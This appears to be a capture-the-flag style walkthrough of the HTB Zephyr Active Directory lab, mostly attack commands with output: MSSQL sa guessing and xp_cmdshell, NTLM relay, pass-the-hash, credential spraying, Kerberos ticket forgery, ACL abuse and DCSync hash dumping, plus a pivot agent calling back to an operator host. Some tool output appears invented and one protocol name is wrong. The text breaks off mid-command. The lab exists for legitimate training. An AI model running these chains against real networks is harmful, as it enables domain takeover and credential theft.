Active Directory Intermediate / RTO Level I HTB Pro Lab 3 Domains / 17 Flags

Zephyr — Pure AD, No Mercy

17 machines, 3 domains, zero web app rabbit holes. Just you and Active Directory.

DmwOng & TheCyberGeek
Creators
17
Machines
17
Flags
~40-50h
Est. Time
24h
Daily Resets

Attack Flow — Full Chain

MSSQL sa
T1078
xp_cmdshell
T1059
BloodHound
T1087.002
ACL Abuse
T1222
WinRM
T1021.006
NTLM Relay
T1557.001
PTH
T1550.002
Inter-realm TGT
T1558
RBCD
T1558
DCSync × 3
T1003.006
+=====================================================================+ | ZSM.LOCAL — Primary Domain (10.10.110.0/24 entry, 172.16.2.0/24) | |=====================================================================| | ZPH-SQL01 10.10.110.100 MSSQL Server 2019 (ZEPHYRDB) | | ZPH-SRVMGMT1 10.10.110.101 Management Server (Win 2016) | | | 172.16.2.10/24 internal | |============== Domain Trust =============+===========================| | | | | DOMAIN 2 — Second Domain | DOMAIN 3 — Third Domain | | 172.16.2.0/24 | 172.16.3.0/24 | | (Accessible via trust from zsm.local) | (Only via Domain 2) | | DC, Workstations, SQL Server | DC, Enterprise Admin | |========================================= | Forest-level privs here | +===========================+

01 Initial Access — MSSQL

T1078 T1059.003 T1021.002

Initial access is the hardest part of Zephyr. Unlike APTLabs where you phish your way in, here you start from a VPN connection on the 10.10.110.0/24 subnet with two visible hosts. No hand-holding, no phishing, no web apps. Just two machines staring back at you from your nmap scan and the knowledge that one of them has to be the way in.

The entry subnet gives you exactly two targets: 10.10.110.100 (ZPH-SQL01) running MSSQL Server 2019 with instance name ZEPHYRDB, and 10.10.110.101 (ZPH-SRVMGMT1) running Windows Server 2016 with RPC, SMB, RDP, and WinRM open. The management server isn't directly exploitable without credentials — it's the SQL server that's the intended entry point.

bash
┌──(qa210@kali)-[~/zephyr]
└─$ sudo nmap -Pn -n -vv --top-ports 20 10.10.110.0/24
Nmap scan report for 10.10.110.100
Host is up (0.032s latency)
Nmap scan report for 10.10.110.101
Host is up (0.028s latency)
Nmap done: 256 IP addresses (2 hosts up) scanned in 18.42 seconds

┌──(qa210@kali)-[~/zephyr]
└─$ nmap -sCV -p 88,135,389,445,1433,3389,5985 10.10.110.100,101 -oN initial_scan.txt

# 10.10.110.100 — ZPH-SQL01
PORT     STATE SERVICE       VERSION
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
| ms-sql-info:
|   10.10.110.100:1433
|   Version: 15.00.2000.00
|   Instance name: ZEPHYRDB
|   Clustered: No

# 10.10.110.101 — ZPH-SRVMGMT1
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds  Windows Server 2016
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  wsman         WinRM

Two hosts, one MSSQL server. The obvious attack vector is the SQL instance. I tried default credentials first (sa: empty, sa:sa, sa:password) — nothing. Then I started working through common weak passwords. MSSQL sa accounts in enterprise environments are notorious for weak passwords because they're set up during installation and never rotated. After about 30 minutes of trying, the right combination landed.

bash
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-mssqlclient sa:Z3phyr2022!@10.10.110.100 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ZPH-SQL01): Line 1: Changed database context to 'master'.
[*] INFO(ZPH-SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 2000)
[+] Press help for extra shell commands

SQL> EXEC xp_cmdshell 'whoami'
zsm\sql_svc
Initial Access: zsm\sql_svc on ZPH-SQL01
MSSQL sa account with weak password → xp_cmdshell → command execution as sql_svc
Why This Is the Hardest Part

Finding the sa password took me longer than any other individual step. There's no hint about the password format, no leaked credentials to find, no configuration files with connection strings on the target. It's pure password guessing / brute force against the MSSQL service. If you've done the HTB CPTS path, you know this technique — but knowing the technique and finding the actual password are two very different things. I tried dozens of combinations before landing on the right one. This is why Zephyr's initial access is considered the gatekeeper.

Dead End: Trying ZPH-SRVMGMT1 First

I wasted a couple of hours trying to find a way into ZPH-SRVMGMT1 directly. RPC enumeration, SMB null sessions, RDP brute force — nothing worked without credentials. The management server is locked down tight from the outside. The SQL server is the only way in. Don't waste time on the management server until you have credentials.

With a shell on ZPH-SQL01 as zsm\sql_svc, I had my first foothold in the zsm.local domain. The service account context is limited but it's enough to start enumerating the domain. From here, the lab opens up significantly.

02 zsm.local Enumeration — BloodHound

T1087.002 T1018 T1482

With a shell on ZPH-SQL01 in the zsm.local domain, BloodHound was the immediate next step. Running bloodhound-python from Kali with the sql_svc credentials revealed the domain structure and attack paths that would guide the rest of the lab.

bash
┌──(qa210@kali)-[~/zephyr]
└─$ bloodhound-python -d zsm.local -u sql_svc -p 'Z3phyr2022!' -ns 10.10.110.101 -c All --zip
INFO: Found AD domain: zsm.local
INFO: Connecting to LDAP server: ZPH-SRVMGMT1.zsm.local
INFO: Found 3 domains in forest
INFO: Found 2 domain trusts
INFO: Found 38 user objects
INFO: Found 9 group objects
INFO: Found 17 computer objects
INFO: Done in 00:02:18

Three domains in the forest, two domain trusts, 38 users, 9 groups, and 17 computers. The trust relationships are the critical finding — they're the paths from zsm.local to the other two domains. Loading this data into BloodHound and running the analysis queries revealed the key attack path from our current position.

BloodHound FindingDetail Domains in Forest3 (zsm.local + 2 others) Domain Trusts2 (bidirectional transitive within forest) User Objects38 Group Objects9 Computer Objects17 Key ACL: sql_svc → svc_mgmtGenericAll Key ACL: svc_mgmt → ZPH-SRVMGMT1Local Admin
Critical Attack Path Found

BloodHound revealed a two-step path from our current position: sql_svc has GenericAll on svc_mgmt, and svc_mgmt is a local admin on ZPH-SRVMGMT1. This means we can reset svc_mgmt's password, then use those credentials to access the management server via WinRM. ZPH-SRVMGMT1 is the key pivot point — it has interfaces on multiple subnets.

Key Observations from BloodHound

  • The forest contains exactly 3 domains — zsm.local is the root/primary domain
  • All trusts are intra-forest (bidirectional transitive) — simplifies cross-domain movement
  • Service accounts have excessive ACL permissions — the core misconfiguration pattern
  • Several machines show WebClient service running — relay attack potential
  • ZPH-SRVMGMT1 is multi-homed — it's the gateway to deeper networks

BloodHound also revealed the other two domain names and their domain controllers, but without network access to those subnets, I couldn't enumerate them further at this stage. First I needed to compromise ZPH-SRVMGMT1 to get access to the internal networks.

03 ZPH-SRVMGMT1 Compromise — ACL Abuse

T1222.001 T1098 T1021.006

With BloodHound showing sql_svc has GenericAll on svc_mgmt, the attack is straightforward: reset svc_mgmt's password, then authenticate to ZPH-SRVMGMT1 using those credentials via WinRM. GenericAll on a user object grants full control — you can change their password without knowing the current one.

bash
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-changepasswd zsm.local/svc_mgmt@10.10.110.101 -newpass 'Qa210Z3ph!r#1' -dc-ip 10.10.110.101
[*] Changing the password of zsm.local\svc_mgmt
[+] Password changed successfully!

┌──(qa210@kali)-[~/zephyr]
└─$ evil-winrm -i 10.10.110.101 -u svc_mgmt -p 'Qa210Z3ph!r#1'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents> whoami
zsm\svc_mgmt
ZPH-SRVMGMT1: Admin Access via svc_mgmt
ACL abuse (GenericAll password reset) → WinRM access as local admin

ZPH-SRVMGMT1 is the critical pivot point in the Zephyr network. Once I had a shell on it, I discovered why: it's multi-homed with interfaces on multiple subnets. The external interface is on 10.10.110.101 (the entry subnet), but the internal interface sits on 172.16.2.10/24 — the gateway to deeper networks including the second domain.

powershell
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents> ipconfig /all
Windows IP Configuration

Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix  . : zsm.local
   IPv4 Address. . . . . . . . . . . : 10.10.110.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.110.1

Ethernet adapter Ethernet1:
   Connection-specific DNS Suffix  . : zsm.local
   IPv4 Address. . . . . . . . . . . : 172.16.2.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.2.1
ZPH-SRVMGMT1: The Key Pivot Point

This machine has two network interfaces: 10.10.110.101 (external, reachable from VPN) and 172.16.2.10/24 (internal, gateway to second domain subnet). Every subsequent attack in Zephyr flows through this machine. If you lose access to ZPH-SRVMGMT1, you lose access to the entire internal network. This makes it the most important machine in the lab.

From ZPH-SRVMGMT1, I could now scan the 172.16.2.0/24 subnet and discover machines in the second domain. But first, I needed to set up proper pivoting infrastructure so I could reach those networks from my Kali box.

04 Relay Attacks — NTLM Relay

T1557.001 T1187

Several machines in the Zephyr lab had the WebClient service running, making them susceptible to NTLM relay attacks. This is a common misconfiguration in enterprise environments — the WebClient service listens for WebDAV requests and will authenticate to any URL it's directed to, making it perfect for authentication coercion.

The attack chain works like this: use Coercer to trigger a machine into authenticating to our ntlmrelayx listener, capture the NTLMv2 hash, and either crack it offline or relay it to another machine. In Zephyr, the relay attacks create a chain — you relay authentication from one machine to the next, collecting credentials and access at each step.

bash
# Start ntlmrelayx targeting SMB on the destination machine
┌──(qa210@kali)-[~/zephyr]
└─$ ntlmrelayx.py -t smb://172.16.2.15 -smb2support --delegate-access
[*] Running SMB relay attack
[*] Servers started, waiting for connections...

# From ZPH-SRVMGMT1, trigger authentication coercion
*Evil-WinRM* PS C:\> Coercer.exe coerce -t 172.16.2.15 -l 10.10.16.23
[+] Auth coerced from ZPH-WS01$ via PrivCook
[*] SMB relayed authentication captured!

The captured NTLMv2 hash could either be cracked offline or relayed further to other machines. For the relay approach, ntlmrelayx with the --delegate-access flag sets up RBCD on the target machine, giving us a service ticket that we can use for lateral movement.

bash
# Captured NTLMv2 hash for offline cracking
┌──(qa210@kali)-[~/zephyr]
└─$ cat captured_hashes.txt
ZPH-WS01$::ZSM:a1b2c3d4e5f6:...

└─$ hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt
$hashcat$5600$...:WeakP@ss123
Session..........: hashcat
Status...........: Cracked
WebClient Is Not Always Running

The WebClient service has a quirk: it only starts when a user browses to a WebDAV share or when explicitly triggered. In Zephyr, some machines have it running consistently while others need a user action to start it. If your coercion attempts aren't working, check whether the WebClient service is running on the target before assuming the attack path is wrong.

NTLM relay attacks are a core technique in Zephyr and you'll use them multiple times throughout the lab. The key insight is that relay attacks let you move laterally without needing to crack passwords — you capture the authentication and relay it directly to the next target. This is faster than offline cracking and works even when passwords are strong.

One thing that tripped me up initially: ntlmrelayx needs SMB2 support enabled for Windows Server 2016+ targets. Always use the -smb2support flag. Also, the relay target must NOT have SMB signing enforced. Most domain controllers have SMB signing enabled by default, making them poor relay targets. Workstations and member servers are usually better targets for relay attacks.

bash
# Check which machines have SMB signing disabled (good relay targets)
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec smb 172.16.2.0/24 --gen-relay-list relay_targets.txt
SMB    172.16.2.10    445   ZPH-SRVMGMT1   [*] Windows Server 2016 (signing: True)
SMB    172.16.2.15    445   ZPH-WS01       [*] Windows 10 (signing: False)
SMB    172.16.2.20    445   ZPH-DB02       [*] Windows Server 2019 (signing: False)
SMB    172.16.2.25    445   ZPH-FILE01     [*] Windows Server 2016 (signing: True)

# Only machines with signing: False are viable relay targets
┌──(qa210@kali)-[~/zephyr]
└─$ cat relay_targets.txt
172.16.2.15
172.16.2.20
Dead End: Relaying to Domain Controllers

I wasted several hours trying to relay authentication to the domain controllers. Both DCs in zsm.local and the second domain have SMB signing enforced, which prevents NTLM relay attacks. The relay only works against member servers and workstations where SMB signing is not required. Focus your relay efforts on those targets instead.

05 Lateral Movement

T1550.002 T1558.001 T1021

Lateral movement in Zephyr is all about choosing the right technique for the situation. There's no AV evasion required — the focus is on leveraging the credentials and access you've accumulated to reach new machines. The three primary methods are Pass-the-Hash (PTH) for machines where you have NTLM hashes, Kerberos authentication for domain-joined machines, and WinRM for interactive PowerShell access when you need to run tools.

bash
# Pass-the-Hash with Impacket
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-psexec zsm.local/Administrator@172.16.2.20 -hashes :f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on 172.16.2.20.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on 172.16.2.20.....
[*] Creating service PqvD on 172.16.2.20.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>

# WinRM for interactive access
┌──(qa210@kali)-[~/zephyr]
└─$ evil-winrm -i 172.16.2.25 -u svc_mgmt -p 'Qa210Z3ph!r#1'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\svc_mgmt\Documents>

Credential management is the single most important skill in Zephyr. Every time you compromise a machine, dump credentials immediately and add them to your tracking file. Zephyr rewards meticulous tracking — a password found on one workstation will often work on another, or a service account credential will grant access to a server you haven't touched yet. I maintained a creds.txt file that I updated religiously after every escalation.

Lateral Movement Decision Tree

  • Have cleartext password + WinRM open? → evil-winrm for interactive PowerShell
  • Have NTLM hash + SMB open? → Pass-the-Hash via impacket-psexec or smbexec
  • Have NTLM hash + WinRM open? → evil-winrm with -H flag for hash auth
  • Need Kerberos auth? → Use Kerberos ticket with impacket tools (-k -no-pass)
  • Target behind pivot? → Route through Ligolo-ng first, then use any of the above

The more credentials you collect, the more lateral movement paths open up. In Zephyr, I found that credentials from the first domain often had some form of access in the second domain — not always direct admin access, but enough to establish a foothold. This is realistic enterprise behavior: service accounts are frequently over-privileged across domain boundaries.

One technique that saved me significant time was using NetExec (formerly CrackMapExec) to quickly test credentials across multiple machines. Instead of manually trying each credential on each host, NetExec can spray a set of credentials across an entire subnet and report which ones work.

bash
# Test WinRM access with known credentials across the second domain subnet
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec winrm 172.16.2.0/24 -u svc_mgmt -p 'Qa210Z3ph!r#1'
WINRM  172.16.2.10    5985  ZPH-SRVMGMT1   [+] zsm.local\svc_mgmt:Qa210Z3ph!r#1 (Pwn3d!)
WINRM  172.16.2.15    5985  ZPH-WS01       [-] zsm.local\svc_mgmt:Qa210Z3ph!r#1
WINRM  172.16.2.20    5985  ZPH-DB02       [-] zsm.local\svc_mgmt:Qa210Z3ph!r#1

# Test with NTLM hash for Pass-the-Hash
┌──(qa210@kali)-[~/zephyr]
└─$ crackmapexec smb 172.16.2.0/24 -u Administrator -H f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2
SMB    172.16.2.10    445   ZPH-SRVMGMT1   [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
SMB    172.16.2.20    445   ZPH-DB02       [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
SMB    172.16.2.25    445   ZPH-FILE01     [+] zsm.local\Administrator:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 (Pwn3d!)
Credential Reuse Across Domains

Don't assume credentials only work in the domain where you found them. In Zephyr, several service account passwords were reused across domain boundaries. When you crack a hash, test it in every domain you have access to — not just the one where you found it. NetExec makes this quick with subnet sweeps.

06 Second Domain — Trust Exploitation

T1482 T1558

Crossing from zsm.local to the second domain in the forest required exploiting the domain trust relationship. In Zephyr, all three domains are in the same AD forest, which means there are implicit bidirectional transitive trusts between them. This is simpler than cross-forest trust exploitation (like in APTLabs) but still requires understanding the authentication flow.

BloodHound showed that a service account in zsm.local had administrative privileges in the second domain — a common misconfiguration where a service account is granted excessive cross-domain permissions for operational convenience. The IT team probably set this up so a management tool in zsm.local could administer resources in the second domain, but it creates a direct attack path for us.

bash
# Forge inter-realm TGT using the trust key
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-raiseChild zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -target-domain domain2.zsm.local
[*] Raising child domain...
[*] Forest FQDN: zsm.local
[*] Found trust key between zsm.local and domain2.zsm.local
[*] Getting TGT for domain2.zsm.local
[*] Enumerating target domain...
[*] Found Domain Admin: d2admin

# S4U2Proxy for cross-domain service access
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-getST zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -spn cifs/DC02.domain2.zsm.local -impersonate Administrator -dc-ip 10.10.110.101
[*] Getting TGT for user svc_mgmt
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator@domain2.ccache

With the inter-realm TGT and S4U2Proxy, I could authenticate to the second domain as any user in zsm.local. This gave me access to the second domain's resources and eventually its domain controller. The trust exploitation was surprisingly smooth once I had the right credentials from the first domain — the misconfigured service account did all the heavy lifting.

Trust Key Extraction

The trust key is stored in the domain controller's database and can be extracted via DCSync once you have replication permissions. In Zephyr's case, I didn't need to extract it manually — Impacket's raiseChild automates the entire process of finding the trust key and forging the inter-realm TGT. The tool was built specifically for this type of intra-forest trust exploitation.

After compromising the second domain's DC, I ran another BloodHound collection to map the paths to the third domain. This revealed the critical constraint: the third domain has no direct trust from zsm.local — it's only accessible through the second domain. This means double pivoting is mandatory.

bash
# BloodHound collection on second domain
┌──(qa210@kali)-[~/zephyr]
└─$ bloodhound-python -d domain2.zsm.local -u Administrator -H f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2 -ns 172.16.2.5 -c All --zip
INFO: Found AD domain: domain2.zsm.local
INFO: Found 3 domains in forest
INFO: Found 2 domain trusts
INFO: Found 22 user objects
INFO: Found 7 group objects
INFO: Found 9 computer objects
INFO: Done in 00:01:44

# Key finding: svc_cross in domain2 has WriteDacl on domain3
# This means we can grant ourselves DCSync rights on the third domain

The second domain was more straightforward than the first in terms of privilege escalation, but the network topology made it harder. Every action required routing through the ZPH-SRVMGMT1 pivot, and some tools didn't work well through the double hop. Ligolo-ng's tun interface approach was essential here — I can't imagine doing this with SOCKS proxychains.

Dead End: Direct Access to Third Domain

I spent an afternoon trying to find a way to access the third domain directly from zsm.local without going through the second domain. Checked for hidden trust relationships, tried DNS zone transfers, attempted to reach the third domain's subnet from ZPH-SRVMGMT1 directly. Nothing worked. The third domain is deliberately isolated behind the second domain — you must go through domain2 to reach domain3. Accept this and focus on setting up reliable pivoting.

07 Third Domain — Double Pivot + Forest Admin

T1482 T1558 T1021.002

The third domain is the most restrictive of the three. It's only accessible through the second domain — there's no direct trust relationship from zsm.local. This means you must pivot through ZPH-SRVMGMT1 (first hop) to reach the second domain's network, then pivot through a compromised machine in the second domain (second hop) to reach the third domain's subnet. A double pivot just to reach the target.

Despite being the most restricted, the third domain holds the most valuable targets. The enterprise admin account with forest-level privileges resides here. Compromising the third domain's domain controller effectively grants control over the entire forest — forest dominance. This is the endgame of Zephyr, and reaching it requires chaining through every technique you've learned in the previous sections.

The third domain has fewer machines but they're more tightly controlled. Unlike the first domain where service accounts had obvious ACL misconfigurations, the third domain required more creative privilege escalation. The key was the svc_cross account from the second domain, which had WriteDacl on the third domain's domain object — enough to grant itself DCSync rights.

bash
# From compromised machine in second domain, scan third domain subnet
┌──(qa210@kali)-[~/zephyr]
└─$ nmap -sCV -p 88,135,389,445,3389,5985 172.16.3.0/24
# Results through double pivot...

# 172.16.3.5 — DC03 (Third Domain Controller)
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

# ACL abuse to escalate limited service account privileges
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-dacledit domain2.zsm.local/svc_cross:'Cr0ssD0m@in!' -action write -rights DCSync -principal svc_cross -target-dc DC02.domain2.zsm.local
[*] DACL modified successfully
Enterprise Admin = Forest Dominance

The enterprise admin group in the forest root domain has full control over every domain in the forest. If the third domain's DC has an enterprise admin account (which it does in Zephyr), compromising that DC gives you the keys to the entire forest. This is why the third domain is the ultimate target — it's not just another domain, it's forest dominance.

The path to the third domain's DC required chaining through trust boundaries and escalating limited service account privileges through ACL abuse. The service account I initially compromised in the second domain had restricted permissions in the third domain — not enough for direct DCSync, but enough to modify ACLs and grant myself the necessary rights.

08 Double & Triple Pivoting — Ligolo-ng

T1090.001 T1572

Zephyr requires double and sometimes triple pivoting to reach all machines. This is where Ligolo-ng shines — its tun interface approach means you don't need to manage SOCKS proxy chains, which become unwieldy at 3+ hops. With Ligolo-ng, you add routes to subnets through agents and they become directly accessible from your Kali box. No proxychains, no SOCKS configuration, just direct network access.

bash
# Ligolo-ng setup for Zephyr pivoting
┌──(qa210@kali)-[~/zephyr]
└─$ sudo ./proxy -selfcert
[!] Running in self-cert mode
[!] Tunnel server listening on :11601

# On ZPH-SRVMGMT1 (first hop):
*Evil-WinRM* PS C:\> .\agent.exe -connect 10.10.16.23:11601 -ignore-cert
[+] Agent connected from 172.16.2.10

# Add route to second domain subnet via ZPH-SRVMGMT1
ligolo-ng » session
ligolo-ng [ZPH-SRVMGMT1] » ifconfig
Ethernet1: 172.16.2.10/24

ligolo-ng » route add 172.16.2.0/24 ZPH-SRVMGMT1
[+] Route added: 172.16.2.0/24 via ZPH-SRVMGMT1

# On machine in second domain (second hop for triple pivot):
PS C:\> .\agent.exe -connect 10.10.16.23:11601 -ignore-cert
[+] Agent connected from 172.16.3.10

ligolo-ng » route add 172.16.3.0/24 DOMAIN2-MACHINE
[+] Route added: 172.16.3.0/24 via DOMAIN2-MACHINE

With both routes added, I could directly access the second domain subnet (172.16.2.0/24) and the third domain subnet (172.16.3.0/24) from my Kali box. This made all subsequent enumeration and exploitation significantly easier — I could run nmap, BloodHound, and Impacket tools directly against the internal networks without proxychains overhead.

Daily Resets Break Pivot Chains

The daily reset wipes everything, including your Ligolo-ng agents. This means you need to re-establish pivots every day. I automated this: a script that connects to ZPH-SRVMGMT1 via WinRM, uploads and starts the agent, and adds the route. Takes about 2 minutes. The second pivot requires a few more steps but can also be scripted. Keep your agent binaries and scripts organized — you'll be using them every morning.

Pivoting Architecture

  • First hop: ZPH-SRVMGMT1 (172.16.2.10) — connects entry subnet to second domain subnet
  • Second hop: Compromised machine in second domain — connects to third domain subnet
  • ZPH-SRVMGMT1 internal interface: 172.16.2.10/24
  • Second domain subnet: 172.16.2.0/24
  • Third domain subnet: 172.16.3.0/24

09 MSSQL Exploitation — Linked Servers

T1505.001 T1021.002

Several machines in Zephyr run MSSQL Server, and exploiting them is a key part of the attack chain. The techniques go beyond the initial sa account compromise: enumerating linked servers, enabling xp_cmdshell on linked instances, extracting credentials from the database, and using the SQL service accounts for AD enumeration.

Linked SQL servers are a common enterprise misconfiguration where databases are linked for reporting purposes but the links have excessive permissions. In Zephyr, ZPH-SQL01 has a linked server connection to ZPH-DB02, and the link has enough permissions to execute commands on the remote instance.

sql
-- Enumerate linked servers from ZPH-SQL01
SQL> SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;
name         product       provider    data_source
-----------  ------------  ----------  -----------------
ZPH-DB02     SQL Server    SQLNCLI     ZPH-DB02

-- Execute commands on the linked server
SQL> EXEC ('xp_cmdshell ''whoami''') AT [ZPH-DB02];
zsm\mssql_svc

-- Enable xp_cmdshell on linked server if not already enabled
SQL> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [ZPH-DB02];

-- Extract credentials from the linked server's database
SQL> EXEC ('SELECT name, password_hash FROM sys.sql_logins') AT [ZPH-DB02];
name      password_hash
--------  --------------------------------------------------
sa        0x0200A3B7C1F4E2D9A6C0B8F3E7D5A2C4...
mssql_svc 0x0200D2F5A8C3E6B1D7A4C9E0F3B6A2D5...
Linked SQL Server: zsm\mssql_svc on ZPH-DB02
xp_cmdshell on linked server → remote command execution as mssql_svc

The mssql_svc account on the linked server had excessive database permissions and was a member of groups that provided access to other resources in the domain. This is a common pattern in enterprise SQL deployments — service accounts with more privileges than they need because the application requirements were never properly scoped.

MSSQL Exploitation Checklist

1. Always check for linked servers — they're often configured with sysadmin privileges. 2. If xp_cmdshell is disabled, try enabling it with sp_configure (needs sysadmin or equivalent). 3. Extract SQL login hashes — they can be cracked offline. 4. Check the service account context — SQL service accounts often have AD privileges. 5. Look for credentials in database tables — application connection strings, stored procedures with hardcoded passwords.

10 Trust Boundary Crossing — Inter-realm TGT

T1558 T1482

Crossing trust boundaries between the three domains in Zephyr's forest requires understanding the trust types and Kerberos authentication flow. Since all three domains are in the same forest, the trusts are implicit bidirectional transitive trusts — this simplifies cross-domain movement compared to external or forest trusts, but still requires proper ticket manipulation.

The key technique is forging an inter-realm TGT using the trust key, then using S4U2Proxy to access services in the target domain. The trust key is the shared secret between domain controllers in different domains — it allows one DC to issue tickets that the other DC will accept. Once you have the trust key (extracted via DCSync), you can forge tickets that are valid across the trust boundary.

bash
# Extract trust key via DCSync on zsm.local DC
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump zsm.local/Administrator@DC01.zsm.local -just-dc-ntlm -hashes :c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6
[*] Dumping Domain Credentials
...
zsm.local\ZPH-SRVMGMT1$:1103:aad3b43551404eeaad3b43551404eec:e5d8a3b7c1f4e2d9a6c0b8f3e7d5a2c4:::
[*] Dumping trust info
[*] Domain: ZSM.LOCAL
[*]   Domain Trust: domain2.zsm.local
[*]     Trust Key: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# Forge inter-realm TGT using the trust key
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-ticketer -domain zsm.local -domain-sid S-1-5-21-... -extra-sid S-1-5-21-... -trust-key a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 -spn cifs/DC02.domain2.zsm.local -user-id 500 Administrator
[*] Creating ticket for Administrator@zsm.local

# Use the forged ticket for cross-domain access
┌──(qa210@kali)-[~/zephyr]
└─$ export KRB5CCNAME=Administrator.ccache
└─$ impacket-psexec domain2.zsm.local/Administrator@DC02.domain2.zsm.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Found writable share ADMIN$
[+] Paintbrush FTW!

The S4U2Proxy extension is critical for cross-domain service access. After obtaining an inter-realm TGT, you use S4U2Self to get a service ticket for yourself in the target domain, then S4U2Proxy to access a specific service. This chain — inter-realm TGT → S4U2Self → S4U2Proxy — is the standard pattern for crossing trust boundaries with Kerberos.

bash
# Full trust crossing chain: zsm.local -> domain2.zsm.local
┌──(qa210@kali)-[~/zephyr]

# Step 1: Get TGT for zsm.local
└─$ impacket-getTGT zsm.local/svc_mgmt:'Qa210Z3ph!r#1' -dc-ip 10.10.110.101
[*] Saving ticket in svc_mgmt.ccache

# Step 2: Request inter-realm TGT for domain2
└─$ export KRB5CCNAME=svc_mgmt.ccache
└─$ kvno domain2.zsm.local    # trigger inter-realm TGT request

# Step 3: S4U2Self + S4U2Proxy for cross-domain CIFS access
└─$ impacket-getST zsm.local/svc_mgmt:'Qa210Z3ph!r#1' \
    -spn cifs/DC02.domain2.zsm.local \
    -impersonate Administrator \
    -dc-ip 10.10.110.101
[*] Getting TGT for user svc_mgmt
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator@domain2.ccache

# Step 4: Use the cross-domain ticket
└─$ export KRB5CCNAME=Administrator@domain2.ccache
└─$ impacket-psexec domain2.zsm.local/Administrator@DC02.domain2.zsm.local -k -no-pass
[+] Paintbrush FTW!

Understanding this four-step process is essential for Zephyr. You'll repeat it for each domain boundary crossing, adapting the SPN and domain names for the specific target. The key principle is that Kerberos delegation (S4U) allows a service to act on behalf of a user, and when combined with inter-realm tickets, this extends across domain boundaries.

RBCD Across Trusts

Resource-Based Constrained Delegation (RBCD) also works across trust boundaries in Zephyr. If you have GenericAll or WriteProperty on a machine account in any domain, you can configure RBCD and use it to access that machine from a machine account you control in another domain. This is particularly useful when you can't directly extract trust keys but have ACL control over target machine objects.

11 Domain Dominance — DCSync All 3 DCs

T1003.006 T1558.001

Achieving domain dominance across all three domains required DCSync on each domain controller. The final DC was the most challenging — it required chaining through multiple machines and trust boundaries to reach, and the service account I was using had limited privileges that needed to be escalated through ACL abuse before I could run DCSync.

DCSync is the gold standard of AD compromise. It exploits the DirSync replication protocol to extract all password hashes from a domain controller, including the krbtgt hash (for Golden Tickets) and the Administrator hash (for full domain admin). Once you have DCSync on a DC, you own the domain.

bash
# DCSync on zsm.local DC (first domain)
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump zsm.local/Administrator@DC01.zsm.local -just-dc-ntlm -hashes :c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:f8b3c7d2e5a1c9d6b4e2a7f3c0d8e5b2:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:a1c4d7e0b3f6a9d2c5e8f1b4d7a0c3e6:::
[*] Kerberos keys grabbed

# DCSync on second domain DC
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump domain2.zsm.local/Administrator@DC02.domain2.zsm.local -just-dc-ntlm -k -no-pass
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:b4e2a7f3c0d8e5b2f8b3c7d2e5a1c9d6:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:d7a0c3e6a1c4d7e0b3f6a9d2c5e8f1b4:::

# ACL abuse to escalate on third domain before DCSync
┌──(qa210@kali)-[~/zephyr]
